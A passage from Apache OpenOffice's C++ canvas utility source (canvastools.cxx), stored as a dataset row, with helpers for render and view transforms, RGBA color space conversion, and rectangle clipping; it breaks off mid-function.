max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
679 | <filename>main/canvas/source/tools/canvastools.cxx
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
// MARKER(update_precomp.py): autogen include statement, do not remove
#include "precompiled_canvas.hxx"
#include <canvas/debug.hxx>
#include <tools/diagnose_ex.h>
#include <com/sun/star/geometry/AffineMatrix2D.hpp>
#include <com/sun/star/geometry/Matrix2D.hpp>
#include <com/sun/star/awt/Rectangle.hpp>
#include <com/sun/star/util/Endianness.hpp>
#include <com/sun/star/rendering/XIntegerBitmapColorSpace.hpp>
#include <com/sun/star/rendering/IntegerBitmapLayout.hpp>
#include <com/sun/star/rendering/ColorSpaceType.hpp>
#include <com/sun/star/rendering/ColorComponentTag.hpp>
#include <com/sun/star/rendering/RenderingIntent.hpp>
#include <com/sun/star/rendering/RenderState.hpp>
#include <com/sun/star/rendering/ViewState.hpp>
#include <com/sun/star/rendering/XCanvas.hpp>
#include <com/sun/star/rendering/XColorSpace.hpp>
#include <com/sun/star/rendering/CompositeOperation.hpp>
#include <com/sun/star/beans/XPropertySet.hpp>
#include <com/sun/star/lang/XServiceInfo.hpp>
#include <basegfx/matrix/b2dhommatrix.hxx>
#include <basegfx/range/b2drange.hxx>
#include <basegfx/range/b2irange.hxx>
#include <basegfx/range/b2drectangle.hxx>
#include <basegfx/point/b2dpoint.hxx>
#include <basegfx/point/b2ipoint.hxx>
#include <basegfx/vector/b2ivector.hxx>
#include <basegfx/polygon/b2dpolygon.hxx>
#include <basegfx/polygon/b2dpolygontools.hxx>
#include <basegfx/polygon/b2dpolypolygontools.hxx>
#include <basegfx/tools/canvastools.hxx>
#include <basegfx/numeric/ftools.hxx>
#include <basegfx/matrix/b2dhommatrixtools.hxx>
#include <cppuhelper/compbase1.hxx>
#include <rtl/instance.hxx>
#include <toolkit/helper/vclunohelper.hxx>
#include <vcl/window.hxx>
#include <vcl/canvastools.hxx>
#include <canvas/canvastools.hxx>
#include <limits>
using namespace ::com::sun::star;
namespace com { namespace sun { namespace star { namespace rendering
{
bool operator==( const RenderState& renderState1,
const RenderState& renderState2 )
{
if( renderState1.Clip != renderState2.Clip )
return false;
if( renderState1.DeviceColor != renderState2.DeviceColor )
return false;
if( renderState1.CompositeOperation != renderState2.CompositeOperation )
return false;
::basegfx::B2DHomMatrix mat1, mat2;
::canvas::tools::getRenderStateTransform( mat1, renderState1 );
::canvas::tools::getRenderStateTransform( mat2, renderState2 );
if( mat1 != mat2 )
return false;
return true;
}
bool operator==( const ViewState& viewState1,
const ViewState& viewState2 )
{
if( viewState1.Clip != viewState2.Clip )
return false;
::basegfx::B2DHomMatrix mat1, mat2;
::canvas::tools::getViewStateTransform( mat1, viewState1 );
::canvas::tools::getViewStateTransform( mat2, viewState2 );
if( mat1 != mat2 )
return false;
return true;
}
}}}}
namespace canvas
{
namespace tools
{
geometry::RealSize2D createInfiniteSize2D()
{
return geometry::RealSize2D(
::std::numeric_limits<double>::infinity(),
::std::numeric_limits<double>::infinity() );
}
rendering::RenderState& initRenderState( rendering::RenderState& renderState )
{
// setup identity transform
setIdentityAffineMatrix2D( renderState.AffineTransform );
renderState.Clip = uno::Reference< rendering::XPolyPolygon2D >();
renderState.DeviceColor = uno::Sequence< double >();
renderState.CompositeOperation = rendering::CompositeOperation::OVER;
return renderState;
}
rendering::ViewState& initViewState( rendering::ViewState& viewState )
{
// setup identity transform
setIdentityAffineMatrix2D( viewState.AffineTransform );
viewState.Clip = uno::Reference< rendering::XPolyPolygon2D >();
return viewState;
}
::basegfx::B2DHomMatrix& getViewStateTransform( ::basegfx::B2DHomMatrix& transform,
const rendering::ViewState& viewState )
{
return ::basegfx::unotools::homMatrixFromAffineMatrix( transform, viewState.AffineTransform );
}
rendering::ViewState& setViewStateTransform( rendering::ViewState& viewState,
const ::basegfx::B2DHomMatrix& transform )
{
::basegfx::unotools::affineMatrixFromHomMatrix( viewState.AffineTransform, transform );
return viewState;
}
::basegfx::B2DHomMatrix& getRenderStateTransform( ::basegfx::B2DHomMatrix& transform,
const rendering::RenderState& renderState )
{
return ::basegfx::unotools::homMatrixFromAffineMatrix( transform, renderState.AffineTransform );
}
rendering::RenderState& setRenderStateTransform( rendering::RenderState& renderState,
const ::basegfx::B2DHomMatrix& transform )
{
::basegfx::unotools::affineMatrixFromHomMatrix( renderState.AffineTransform, transform );
return renderState;
}
rendering::RenderState& appendToRenderState( rendering::RenderState& renderState,
const ::basegfx::B2DHomMatrix& rTransform )
{
::basegfx::B2DHomMatrix transform;
getRenderStateTransform( transform, renderState );
return setRenderStateTransform( renderState, transform * rTransform );
}
rendering::ViewState& appendToViewState( rendering::ViewState& viewState,
const ::basegfx::B2DHomMatrix& rTransform )
{
::basegfx::B2DHomMatrix transform;
getViewStateTransform( transform, viewState );
return setViewStateTransform( viewState, transform * rTransform );
}
rendering::RenderState& prependToRenderState( rendering::RenderState& renderState,
const ::basegfx::B2DHomMatrix& rTransform )
{
::basegfx::B2DHomMatrix transform;
getRenderStateTransform( transform, renderState );
return setRenderStateTransform( renderState, rTransform * transform );
}
rendering::ViewState& prependToViewState( rendering::ViewState& viewState,
const ::basegfx::B2DHomMatrix& rTransform )
{
::basegfx::B2DHomMatrix transform;
getViewStateTransform( transform, viewState );
return setViewStateTransform( viewState, rTransform * transform );
}
::basegfx::B2DHomMatrix& mergeViewAndRenderTransform( ::basegfx::B2DHomMatrix& combinedTransform,
const rendering::ViewState& viewState,
const rendering::RenderState& renderState )
{
::basegfx::B2DHomMatrix viewTransform;
::basegfx::unotools::homMatrixFromAffineMatrix( combinedTransform, renderState.AffineTransform );
::basegfx::unotools::homMatrixFromAffineMatrix( viewTransform, viewState.AffineTransform );
// this statement performs combinedTransform = viewTransform * combinedTransform
combinedTransform *= viewTransform;
return combinedTransform;
}
rendering::ViewState& mergeViewAndRenderState( rendering::ViewState& resultViewState,
const rendering::ViewState& viewState,
const rendering::RenderState& renderState,
const uno::Reference< rendering::XCanvas >& /*xCanvas*/ )
{
::basegfx::B2DHomMatrix aTmpMatrix;
geometry::AffineMatrix2D convertedMatrix;
resultViewState.Clip = NULL; // TODO(F2): intersect clippings
return setViewStateTransform(
resultViewState,
mergeViewAndRenderTransform( aTmpMatrix,
viewState,
renderState ) );
}
geometry::AffineMatrix2D& setIdentityAffineMatrix2D( geometry::AffineMatrix2D& matrix )
{
matrix.m00 = 1.0;
matrix.m01 = 0.0;
matrix.m02 = 0.0;
matrix.m10 = 0.0;
matrix.m11 = 1.0;
matrix.m12 = 0.0;
return matrix;
}
geometry::Matrix2D& setIdentityMatrix2D( geometry::Matrix2D& matrix )
{
matrix.m00 = 1.0;
matrix.m01 = 0.0;
matrix.m10 = 0.0;
matrix.m11 = 1.0;
return matrix;
}
namespace
{
class StandardColorSpace : public cppu::WeakImplHelper1< com::sun::star::rendering::XIntegerBitmapColorSpace >
{
private:
uno::Sequence< sal_Int8 > maComponentTags;
uno::Sequence< sal_Int32 > maBitCounts;
virtual ::sal_Int8 SAL_CALL getType( ) throw (uno::RuntimeException)
{
return rendering::ColorSpaceType::RGB;
}
virtual uno::Sequence< ::sal_Int8 > SAL_CALL getComponentTags( ) throw (uno::RuntimeException)
{
return maComponentTags;
}
virtual ::sal_Int8 SAL_CALL getRenderingIntent( ) throw (uno::RuntimeException)
{
return rendering::RenderingIntent::PERCEPTUAL;
}
virtual uno::Sequence< beans::PropertyValue > SAL_CALL getProperties( ) throw (uno::RuntimeException)
{
return uno::Sequence< beans::PropertyValue >();
}
virtual uno::Sequence< double > SAL_CALL convertColorSpace( const uno::Sequence< double >& deviceColor,
const uno::Reference< rendering::XColorSpace >& targetColorSpace ) throw (lang::IllegalArgumentException,
uno::RuntimeException)
{
// TODO(P3): if we know anything about target
// colorspace, this can be greatly sped up
uno::Sequence<rendering::ARGBColor> aIntermediate(
convertToARGB(deviceColor));
return targetColorSpace->convertFromARGB(aIntermediate);
}
virtual uno::Sequence< rendering::RGBColor > SAL_CALL convertToRGB( const uno::Sequence< double >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const double* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::RGBColor > aRes(nLen/4);
rendering::RGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = rendering::RGBColor(pIn[0],pIn[1],pIn[2]);
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< rendering::ARGBColor > SAL_CALL convertToARGB( const uno::Sequence< double >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const double* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::ARGBColor > aRes(nLen/4);
rendering::ARGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = rendering::ARGBColor(pIn[3],pIn[0],pIn[1],pIn[2]);
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< rendering::ARGBColor > SAL_CALL convertToPARGB( const uno::Sequence< double >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const double* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::ARGBColor > aRes(nLen/4);
rendering::ARGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = rendering::ARGBColor(pIn[3],pIn[3]*pIn[0],pIn[3]*pIn[1],pIn[3]*pIn[2]);
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< double > SAL_CALL convertFromRGB( const uno::Sequence< rendering::RGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::RGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< double > aRes(nLen*4);
double* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = pIn->Red;
*pColors++ = pIn->Green;
*pColors++ = pIn->Blue;
*pColors++ = 1.0;
++pIn;
}
return aRes;
}
virtual uno::Sequence< double > SAL_CALL convertFromARGB( const uno::Sequence< rendering::ARGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::ARGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< double > aRes(nLen*4);
double* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = pIn->Red;
*pColors++ = pIn->Green;
*pColors++ = pIn->Blue;
*pColors++ = pIn->Alpha;
++pIn;
}
return aRes;
}
virtual uno::Sequence< double > SAL_CALL convertFromPARGB( const uno::Sequence< rendering::ARGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::ARGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< double > aRes(nLen*4);
double* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = pIn->Red/pIn->Alpha;
*pColors++ = pIn->Green/pIn->Alpha;
*pColors++ = pIn->Blue/pIn->Alpha;
*pColors++ = pIn->Alpha;
++pIn;
}
return aRes;
}
// XIntegerBitmapColorSpace
virtual ::sal_Int32 SAL_CALL getBitsPerPixel( ) throw (uno::RuntimeException)
{
return 32;
}
virtual uno::Sequence< ::sal_Int32 > SAL_CALL getComponentBitCounts( ) throw (uno::RuntimeException)
{
return maBitCounts;
}
virtual ::sal_Int8 SAL_CALL getEndianness( ) throw (uno::RuntimeException)
{
return util::Endianness::LITTLE;
}
virtual uno::Sequence<double> SAL_CALL convertFromIntegerColorSpace( const uno::Sequence< ::sal_Int8 >& deviceColor,
const uno::Reference< rendering::XColorSpace >& targetColorSpace ) throw (lang::IllegalArgumentException,
uno::RuntimeException)
{
if( dynamic_cast<StandardColorSpace*>(targetColorSpace.get()) )
{
const sal_Int8* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence<double> aRes(nLen);
double* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = vcl::unotools::toDoubleColor(*pIn++);
*pOut++ = vcl::unotools::toDoubleColor(*pIn++);
*pOut++ = vcl::unotools::toDoubleColor(*pIn++);
*pOut++ = vcl::unotools::toDoubleColor(255-*pIn++);
}
return aRes;
}
else
{
// TODO(P3): if we know anything about target
// colorspace, this can be greatly sped up
uno::Sequence<rendering::ARGBColor> aIntermediate(
convertIntegerToARGB(deviceColor));
return targetColorSpace->convertFromARGB(aIntermediate);
}
}
virtual uno::Sequence< ::sal_Int8 > SAL_CALL convertToIntegerColorSpace( const uno::Sequence< ::sal_Int8 >& deviceColor,
const uno::Reference< rendering::XIntegerBitmapColorSpace >& targetColorSpace ) throw (lang::IllegalArgumentException,
uno::RuntimeException)
{
if( dynamic_cast<StandardColorSpace*>(targetColorSpace.get()) )
{
// it's us, so simply pass-through the data
return deviceColor;
}
else
{
// TODO(P3): if we know anything about target
// colorspace, this can be greatly sped up
uno::Sequence<rendering::ARGBColor> aIntermediate(
convertIntegerToARGB(deviceColor));
return targetColorSpace->convertIntegerFromARGB(aIntermediate);
}
}
virtual uno::Sequence< rendering::RGBColor > SAL_CALL convertIntegerToRGB( const uno::Sequence< ::sal_Int8 >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const sal_Int8* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::RGBColor > aRes(nLen/4);
rendering::RGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = rendering::RGBColor(
vcl::unotools::toDoubleColor(pIn[0]),
vcl::unotools::toDoubleColor(pIn[1]),
vcl::unotools::toDoubleColor(pIn[2]));
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< rendering::ARGBColor > SAL_CALL convertIntegerToARGB( const uno::Sequence< ::sal_Int8 >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const sal_Int8* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::ARGBColor > aRes(nLen/4);
rendering::ARGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
*pOut++ = rendering::ARGBColor(
vcl::unotools::toDoubleColor(255-pIn[3]),
vcl::unotools::toDoubleColor(pIn[0]),
vcl::unotools::toDoubleColor(pIn[1]),
vcl::unotools::toDoubleColor(pIn[2]));
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< rendering::ARGBColor > SAL_CALL convertIntegerToPARGB( const uno::Sequence< ::sal_Int8 >& deviceColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const sal_Int8* pIn( deviceColor.getConstArray() );
const sal_Size nLen( deviceColor.getLength() );
ENSURE_ARG_OR_THROW2(nLen%4==0,
"number of channels no multiple of 4",
static_cast<rendering::XColorSpace*>(this), 0);
uno::Sequence< rendering::ARGBColor > aRes(nLen/4);
rendering::ARGBColor* pOut( aRes.getArray() );
for( sal_Size i=0; i<nLen; i+=4 )
{
const sal_Int8 nAlpha( 255-pIn[3] );
*pOut++ = rendering::ARGBColor(
vcl::unotools::toDoubleColor(nAlpha),
vcl::unotools::toDoubleColor(nAlpha*pIn[0]),
vcl::unotools::toDoubleColor(nAlpha*pIn[1]),
vcl::unotools::toDoubleColor(nAlpha*pIn[2]));
pIn += 4;
}
return aRes;
}
virtual uno::Sequence< ::sal_Int8 > SAL_CALL convertIntegerFromRGB( const uno::Sequence< rendering::RGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::RGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< sal_Int8 > aRes(nLen*4);
sal_Int8* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = vcl::unotools::toByteColor(pIn->Red);
*pColors++ = vcl::unotools::toByteColor(pIn->Green);
*pColors++ = vcl::unotools::toByteColor(pIn->Blue);
*pColors++ = 0;
++pIn;
}
return aRes;
}
virtual uno::Sequence< ::sal_Int8 > SAL_CALL convertIntegerFromARGB( const uno::Sequence< rendering::ARGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::ARGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< sal_Int8 > aRes(nLen*4);
sal_Int8* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = vcl::unotools::toByteColor(pIn->Red);
*pColors++ = vcl::unotools::toByteColor(pIn->Green);
*pColors++ = vcl::unotools::toByteColor(pIn->Blue);
*pColors++ = 255-vcl::unotools::toByteColor(pIn->Alpha);
++pIn;
}
return aRes;
}
virtual uno::Sequence< ::sal_Int8 > SAL_CALL convertIntegerFromPARGB( const uno::Sequence< rendering::ARGBColor >& rgbColor ) throw (lang::IllegalArgumentException, uno::RuntimeException)
{
const rendering::ARGBColor* pIn( rgbColor.getConstArray() );
const sal_Size nLen( rgbColor.getLength() );
uno::Sequence< sal_Int8 > aRes(nLen*4);
sal_Int8* pColors=aRes.getArray();
for( sal_Size i=0; i<nLen; ++i )
{
*pColors++ = vcl::unotools::toByteColor(pIn->Red/pIn->Alpha);
*pColors++ = vcl::unotools::toByteColor(pIn->Green/pIn->Alpha);
*pColors++ = vcl::unotools::toByteColor(pIn->Blue/pIn->Alpha);
*pColors++ = 255-vcl::unotools::toByteColor(pIn->Alpha);
++pIn;
}
return aRes;
}
public:
StandardColorSpace() :
maComponentTags(4),
maBitCounts(4)
{
sal_Int8* pTags = maComponentTags.getArray();
sal_Int32* pBitCounts = maBitCounts.getArray();
pTags[0] = rendering::ColorComponentTag::RGB_RED;
pTags[1] = rendering::ColorComponentTag::RGB_GREEN;
pTags[2] = rendering::ColorComponentTag::RGB_BLUE;
pTags[3] = rendering::ColorComponentTag::ALPHA;
pBitCounts[0] =
pBitCounts[1] =
pBitCounts[2] =
pBitCounts[3] = 8;
}
};
struct StandardColorSpaceHolder : public rtl::StaticWithInit<uno::Reference<rendering::XIntegerBitmapColorSpace>,
StandardColorSpaceHolder>
{
uno::Reference<rendering::XIntegerBitmapColorSpace> operator()()
{
return new StandardColorSpace();
}
};
}
uno::Reference<rendering::XIntegerBitmapColorSpace> getStdColorSpace()
{
return StandardColorSpaceHolder::get();
}
rendering::IntegerBitmapLayout getStdMemoryLayout( const geometry::IntegerSize2D& rBmpSize )
{
rendering::IntegerBitmapLayout aLayout;
aLayout.ScanLines = rBmpSize.Height;
aLayout.ScanLineBytes = rBmpSize.Width*4;
aLayout.ScanLineStride = aLayout.ScanLineBytes;
aLayout.PlaneStride = 0;
aLayout.ColorSpace = getStdColorSpace();
aLayout.Palette.clear();
aLayout.IsMsbFirst = sal_False;
return aLayout;
}
::Color stdIntSequenceToColor( const uno::Sequence<sal_Int8>& rColor )
{
#ifdef OSL_BIGENDIAN
const sal_Int8* pCols( rColor.getConstArray() );
return ::Color( pCols[3], pCols[0], pCols[1], pCols[2] );
#else
return ::Color( *reinterpret_cast< const ::ColorData* >(rColor.getConstArray()) );
#endif
}
uno::Sequence<sal_Int8> colorToStdIntSequence( const ::Color& rColor )
{
uno::Sequence<sal_Int8> aRet(4);
sal_Int8* pCols( aRet.getArray() );
#ifdef OSL_BIGENDIAN
pCols[0] = rColor.GetRed();
pCols[1] = rColor.GetGreen();
pCols[2] = rColor.GetBlue();
pCols[3] = 255-rColor.GetTransparency();
#else
*reinterpret_cast<sal_Int32*>(pCols) = rColor.GetColor();
#endif
return aRet;
}
// Create a corrected view transformation out of the give one,
// which ensures that the rectangle given by (0,0) and
// rSpriteSize is mapped with its left,top corner to (0,0)
// again. This is required to properly render sprite
// animations to buffer bitmaps.
::basegfx::B2DHomMatrix& calcRectToOriginTransform( ::basegfx::B2DHomMatrix& o_transform,
const ::basegfx::B2DRange& i_srcRect,
const ::basegfx::B2DHomMatrix& i_transformation )
{
if( i_srcRect.isEmpty() )
return o_transform=i_transformation;
// transform by given transformation
::basegfx::B2DRectangle aTransformedRect;
calcTransformedRectBounds( aTransformedRect,
i_srcRect,
i_transformation );
// now move resulting left,top point of bounds to (0,0)
const basegfx::B2DHomMatrix aCorrectedTransform(basegfx::tools::createTranslateB2DHomMatrix(
-aTransformedRect.getMinX(), -aTransformedRect.getMinY()));
// prepend to original transformation
o_transform = aCorrectedTransform * i_transformation;
return o_transform;
}
::basegfx::B2DRange& calcTransformedRectBounds( ::basegfx::B2DRange& outRect,
const ::basegfx::B2DRange& inRect,
const ::basegfx::B2DHomMatrix& transformation )
{
outRect.reset();
if( inRect.isEmpty() )
return outRect;
// transform all four extremal points of the rectangle,
// take bounding rect of those.
// transform left-top point
outRect.expand( transformation * inRect.getMinimum() );
// transform bottom-right point
outRect.expand( transformation * inRect.getMaximum() );
::basegfx::B2DPoint aPoint;
// transform top-right point
aPoint.setX( inRect.getMaxX() );
aPoint.setY( inRect.getMinY() );
aPoint *= transformation;
outRect.expand( aPoint );
// transform bottom-left point
aPoint.setX( inRect.getMinX() );
aPoint.setY( inRect.getMaxY() );
aPoint *= transformation;
outRect.expand( aPoint );
// over and out.
return outRect;
}
::basegfx::B2DHomMatrix& calcRectToRectTransform( ::basegfx::B2DHomMatrix& o_transform,
const ::basegfx::B2DRange& destRect,
const ::basegfx::B2DRange& srcRect,
const ::basegfx::B2DHomMatrix& transformation )
{
if( srcRect.isEmpty() ||
destRect.isEmpty() )
{
return o_transform=transformation;
}
// transform inputRect by transformation
::basegfx::B2DRectangle aTransformedRect;
calcTransformedRectBounds( aTransformedRect,
srcRect,
transformation );
// now move resulting left,top point of bounds to (0,0)
basegfx::B2DHomMatrix aCorrectedTransform(basegfx::tools::createTranslateB2DHomMatrix(
-aTransformedRect.getMinX(), -aTransformedRect.getMinY()));
// scale to match outRect
const double xDenom( aTransformedRect.getWidth() );
const double yDenom( aTransformedRect.getHeight() );
if( xDenom != 0.0 && yDenom != 0.0 )
aCorrectedTransform.scale( destRect.getWidth() / xDenom,
destRect.getHeight() / yDenom );
// TODO(E2): error handling
// translate to final position
aCorrectedTransform.translate( destRect.getMinX(),
destRect.getMinY() );
::basegfx::B2DHomMatrix transform( transformation );
o_transform = aCorrectedTransform * transform;
return o_transform;
}
bool isInside( const ::basegfx::B2DRange& rContainedRect,
const ::basegfx::B2DRange& rTransformRect,
const ::basegfx::B2DHomMatrix& rTransformation )
{
if( rContainedRect.isEmpty() || rTransformRect.isEmpty() )
return false;
::basegfx::B2DPolygon aPoly(
::basegfx::tools::createPolygonFromRect( rTransformRect ) );
aPoly.transform( rTransformation );
return ::basegfx::tools::isInside( aPoly,
::basegfx::tools::createPolygonFromRect(
rContainedRect ),
true );
}
namespace
{
bool clipAreaImpl( ::basegfx::B2IRange* o_pDestArea,
::basegfx::B2IRange& io_rSourceArea,
::basegfx::B2IPoint& io_rDestPoint,
const ::basegfx::B2IRange& rSourceBounds,
const ::basegfx::B2IRange& rDestBounds )
{
const ::basegfx::B2IPoint aSourceTopLeft(
io_rSourceArea.getMinimum() );
::basegfx::B2IRange aLocalSourceArea( io_rSourceArea );
// clip source area (which must be inside rSourceBounds)
aLocalSourceArea.intersect( rSourceBounds );
if( aLocalSourceArea.isEmpty() )
return false;
// calc relative new source area points (relative to orig
// source area)
const ::basegfx::B2IVector aUpperLeftOffset(
aLocalSourceArea.getMinimum()-aSourceTopLeft );
const ::basegfx::B2IVector aLowerRightOffset(
aLocalSourceArea.getMaximum()-aSourceTopLeft );
::basegfx::B2IRange aLocalDestArea( io_rDestPoint + aUpperLeftOffset,
io_rDestPoint + aLowerRightOffset );
// clip dest area (which must be inside rDestBounds)
aLocalDestArea.intersect( rDestBounds );
if( aLocalDestArea.isEmpty() )
return false;
// calc relative new dest area points (relative to orig
// source area)
const ::basegfx::B2IVector aDestUpperLeftOffset(
aLocalDestArea.getMinimum()-io_rDestPoint );
const ::basegfx::B2IVector aDestLowerRightOffset(
aLocalDestArea.getMaximum()-io_rDestPoint );
io_rSourceArea = ::basegfx::B2IRange( aSourceTopLeft + aDestUpperLeftOffset,
aSourceTopLeft + aDestLowerRightOffset );
io_rDestPoint = aLocalDestArea.getMinimum();
if( o_pDestArea )
*o_pDestArea = aLocalDestArea;
return true;
}
}
bool clipScrollArea( ::basegfx::B2IRange& io_rSourceArea,
::basegfx::B2IPoint& io_rDestPoint,
::std::vector< ::basegfx::B2IRange >& o_ClippedAreas,
const ::basegfx::B2IRange& rBounds )
{
::basegfx::B2IRange aResultingDestArea;
// compute full destination area (to determine uninitialized
// areas below)
const ::basegfx::B2I64Tuple& rRange( io_rSourceArea.getRange() );
::basegfx::B2IRange aInputDestArea( io_rDestPoint.getX(),
io_rDestPoint.getY(),
(io_rDestPoint.getX()
+ static_cast<sal_Int32>(rRange.getX())),
(io_rDestPoint.getY()
+ static_cast<sal_Int32>(rRange.getY())) );
// limit to output area (no point updating outside of it)
aInputDestArea.intersect( rBounds );
// clip to rBounds
if( !clipAreaImpl( &aResultingDestArea,
io_rSourceArea,
io_rDestPoint,
rBounds,
rBounds ) )
return false;
// finally, compute all areas clipped off the total
// destination area.
::basegfx::computeSetDifference( o_ClippedAreas,
aInputDestArea,
aResultingDestArea );
return true;
}
bool clipBlit( ::basegfx::B2IRange& io_rSourceArea,
::basegfx::B2IPoint& io_rDestPoint,
const ::basegfx::B2IRange& rSourceBounds,
const ::basegfx::B2IRange& rDestBounds )
{
return clipAreaImpl( NULL,
io_rSourceArea,
io_rDestPoint,
rSourceBounds,
rDestBounds );
}
::basegfx::B2IRange spritePixelAreaFromB2DRange( const ::basegfx::B2DRange& rRange )
{
if( rRange.isEmpty() )
return ::basegfx::B2IRange();
const ::basegfx::B2IPoint aTopLeft( ::basegfx::fround( rRange.getMinX() ),
::basegfx::fround( rRange.getMinY() ) );
return ::basegfx::B2IRange( aTopLeft,
aTopLeft + ::basegfx::B2IPoint(
::basegfx::fround( rRange.getWidth() ),
::basegfx::fround( rRange.getHeight() ) ) );
}
uno::Sequence< uno::Any >& getDeviceInfo( const uno::Reference< rendering::XCanvas >& i_rxCanvas,
uno::Sequence< uno::Any >& o_rxParams )
{
o_rxParams.realloc( 0 );
if( i_rxCanvas.is() )
{
try
{
uno::Reference< rendering::XGraphicDevice > xDevice( i_rxCanvas->getDevice(),
uno::UNO_QUERY_THROW );
uno::Reference< lang::XServiceInfo > xServiceInfo( xDevice,
uno::UNO_QUERY_THROW );
uno::Reference< beans::XPropertySet > xPropSet( xDevice,
uno::UNO_QUERY_THROW );
o_rxParams.realloc( 2 );
o_rxParams[ 0 ] = uno::makeAny( xServiceInfo->getImplementationName() );
o_rxParams[ 1 ] = uno::makeAny( xPropSet->getPropertyValue(
::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM("DeviceHandle") ) ) );
}
catch( uno::Exception& )
{
// ignore, but return empty sequence
}
}
return o_rxParams;
}
awt::Rectangle getAbsoluteWindowRect( const awt::Rectangle& rRect,
const uno::Reference< awt::XWindow2 >& xWin )
{
awt::Rectangle aRetVal( rRect );
::Window* pWindow = VCLUnoHelper::GetWindow(xWin);
if( pWindow )
{
::Point aPoint( aRetVal.X,
aRetVal.Y );
aPoint = pWindow->OutputToScreenPixel( aPoint );
aRetVal.X = aPoint.X();
aRetVal.Y = aPoint.Y();
}
return aRetVal;
}
::basegfx::B2DPolyPolygon getBoundMarksPolyPolygon( const ::basegfx::B2DRange& rRange )
{
::basegfx::B2DPolyPolygon aPolyPoly;
::basegfx::B2DPolygon aPoly;
const double nX0( rRange.getMinX() );
const double nY0( rRange.getMinY() );
const double nX1( rRange.getMaxX() );
const double nY1( rRange.getMaxY() );
aPoly.append( ::basegfx::B2DPoint( nX0+4,
nY0 ) );
aPoly.append( ::basegfx::B2DPoint( nX0,
nY0 ) );
aPoly.append( ::basegfx::B2DPoint( nX0,
nY0+4 ) );
aPolyPoly.append( aPoly ); aPoly.clear();
aPoly.append( ::basegfx::B2DPoint( nX1-4,
nY0 ) );
aPoly.append( ::basegfx::B2DPoint( nX1,
nY0 ) );
aPoly.append( ::basegfx::B2DPoint( nX1,
nY0+4 ) );
aPolyPoly.append( aPoly ); aPoly.clear();
